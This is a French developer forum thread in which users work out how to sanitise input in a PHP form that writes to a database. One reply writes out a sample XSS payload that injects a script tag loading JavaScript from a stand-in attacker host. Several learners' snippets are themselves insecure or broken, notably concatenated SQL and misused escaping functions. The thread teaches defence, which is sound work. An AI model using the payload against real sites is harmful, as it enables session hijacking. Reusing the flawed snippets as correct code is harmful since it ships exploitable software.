Formulaire avec envoi BDD

Répondre
niconicochan
le 12/02/2014 à 14:49
niconicochan
Tu veux dire que dans la zone value="..." on écrit simplement le code permettant d'afficher
les données déjà saisies par l'utilisateur, et qu'il faut donc mieux nettoyer les données dans le programme
de traitement de formulaire car c'est à partir de là seulement que les données seront propulsées d'un domaine à l'autre.
Donc on peut peut-être écrire dans value="..." à la place des points de suspension:
<input name="societe" size="22" value="<?php echo trim(@$_POST['societe']);?>" type="text"/>

et rajouter une ou deux ligne(s) pour le nettoyage des données dans le programme de traitement de formulaire:
$req = "INSERT INTO nomTable (societe, nom, prenom, email, telephone) VALUES ('".$societe."','".$nom."', '".$prenom."','".$email."','".$telephone."')";

du style:
$req= strip_tags(trim($_POST["societe"]));
$req= strip_tags(trim($_POST["nom"]));
$req= strip_tags(trim($_POST["prenom"]));
$req= strip_tags(trim($_POST["email"]));
$req= strip_tags(trim($_POST["telephone"]));

$req= mysqli_real_escape_string($_POST["societe"]);
$req= mysqli_real_escape_string($_POST["nom"]);
$req= mysqli_real_escape_string($_POST["prenom"]);
$req= mysqli_real_escape_string($_POST["email"]);
$req= mysqli_real_escape_string($_POST["telephone"]);
LupusMic
le 12/02/2014 à 17:49
LupusMic
Il faut que tu comprenne un point important : tu n'affiches rien. Le résultat final que tu souhaite observer, c'est l'affichage dans le navigateur de ce que tu as généré. Mais dans l'absolu, ce n'est pas ce que tu fais. Le principe d'une application web, c'est de traiter une requête HTTP, et d'en déduire une logique et une représentation.

La logique, c'est de décider ce qu'on fait de la requête (insertion en base, lecture de la base, etc).
La représentation, c'est générer du HTML pour l'envoyer au client web en réponse.

Il faut que tu retire de ton esprit la croyance que tu affiches quoi que ce soit. L'utilisateur peut le croire. Mais toi, en tant que développeur, tu dois avoir une vision du mille-feuilles, et une compréhension des interactions entre les différentes couches, et l'interprétation qui en est faite.

<input name="societe" size="22" value="<?php echo trim(@$_POST['societe']);?>" type="text"/>

Ce code est vulnérable. Il permet d'introduire du code HTML depuis un client web. Ce code HTML peut être le chargement d'un script JS, qui permet d'agir avec les droits de l'utilisateurs. Il suffit pour cela de spécifier dans la requête HTTP que le paramètre 'societe' contient:

"><script src='http://haxor.example.com/mon-attaque.js'></script><input name="

Le problème vient du fait que cette valeur intégrée au HTML sera interprété par le navigateur, pour charger le JS.

Alors qu'en utilisant htmlentities, les chevrons et quotation marks seront transformés en entités HTML (&gt; et compagnie), et seront donc interprété pour leur valeur et non leur sémantique HTML.

Pour le SQL, c'est pareil. Mais là, les effets de bords peuvent être bien plus catastrophiques. Regarde bien dans le sujet de la mise à jour de la bdd, je n'utilises jamais la concaténation de chaînes : c'est illisible, et encourage les erreurs. J'utilises intensivement sprintf, en conjonction avec mysqli_real_escape_string. On peut en faire une fonction bien plus générique, mais l'idée est là.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
dragoon25
le 13/02/2014 à 09:17
dragoon25
Ok pour la sécurité je comprend bien.

J'ai intégrer ton code LupusMic mais ca me bascule en erreur sur les champs email et téléphone.

$societe = mysqli_real_escape_string(htmlentities(strip_tags(trim(stripcslashes($_POST["societe"])))));
[code

Y'a til quelque chose à rajouter justement pour ce type de données ou les valeur de contrôle ''preg_match'' suffise pour la sécurité. ??


//Valeurs des contrôles
$cont_email = '/([\w\-]+\@[\w\-]+\.[\w\-]+)/';
$cont_tel = '#^0[1-9][0-9]{8}$#';
niconicochan
le 13/02/2014 à 10:13
niconicochan
Merci pour toutes ces précisions.
Je vais essayer de récapituler:
Dans les champs de formulaire, il faut donc coder de manière à générer un nettoyage des données entrées par l'utilisateur car en appuyant sur envoi les données seront propulsées d'un domaine à l'autre.
L'utilisation de mysqli_real_escape string n'est pas possible dans le champs valeur="..." car il n'est pas associé à la série des mysqli_connect, mysqli_query, etc...
Il faut donc utiliser htmlentities à la place.
htmlentities transforme les chevrons, donc pas besoin d'utiliser en même temps strip_tags même
si à priori cela ne dérangerait pas pour autant.
Pour le confort de l'utilisateur, on utilise trim ce qui donne donc:
<input name="societe" size="22" value="<?php echo htmlentities(trim(@$_POST['societe']));?>" type="text"/>

Ca, c'est bon?

Maintenant, dans le programme de traitement de formulaire, on peut 1) annoncer ses variable:

$societe = $_POST ['societe']; 
$nom = $_POST['nom'];
$prenom = $_POST['prenom'];
$email = $_POST['email'];
$telephone = $_POST['telephone'];


Puis 2) les nettoyer:

$societeNet = mysqli_real_escape_string(htmlentities(strip_tags(trim($societe))));
$nomNet = mysqli_real_escape_string(htmlentities(strip_tags(trim($nom))));
$prenomNet = mysqli_real_escape_string(htmlentities(strip_tags(trim($prenom))));
$emailNet = mysqli_real_escape_string(htmlentities(strip_tags(trim($email))));
$telephoneNet = mysqli_real_escape_string(htmlentities(strip_tags(trim($telephone))));


Je pense que tu trouves le nettoyage trop chargé et que ça risque de bugger mais je ne comprends
pas pourquoi. Pourquoi tu penses que ça ne vas pas, qu'est-ce que tu écrirais à la place et pourquoi?

Pour ce qui est de la requête:

$req = "INSERT INTO nomTable (societe, nom, prenom, email, telephone) VALUES ('".$societeNet."','".$nomNet."', '".$prenomNet."','".$emailNet."','".$telephoneNet."')";


Ici, tu enlèverais simplement les points de concaténation?
Comment tu arrangerais la présentation?
niconicochan
le 13/02/2014 à 10:21
niconicochan
Dragoon25, ce que tu as repris n'est pas une ligne codée par LupusMic, mais une ligne codée par moi-même reprise par LupusMic dans son message.

Je te propose de voir ce que LupusMic va me répondre en plus de ce que tu lui a demandé.
La réponse à mon dernier message sera intéressante aussi pour toi je pense.
dragoon25
le 13/02/2014 à 11:18
dragoon25
J'ai mis ceci et les champs ne sont plus en erreur.

$email = mysql_real_escape_string(htmlspecialchars(stripcslashes($_POST["email"])));
Répondre

Ecrire un message

Votre message vient d'être créé avec succès.
LoadingChargement en cours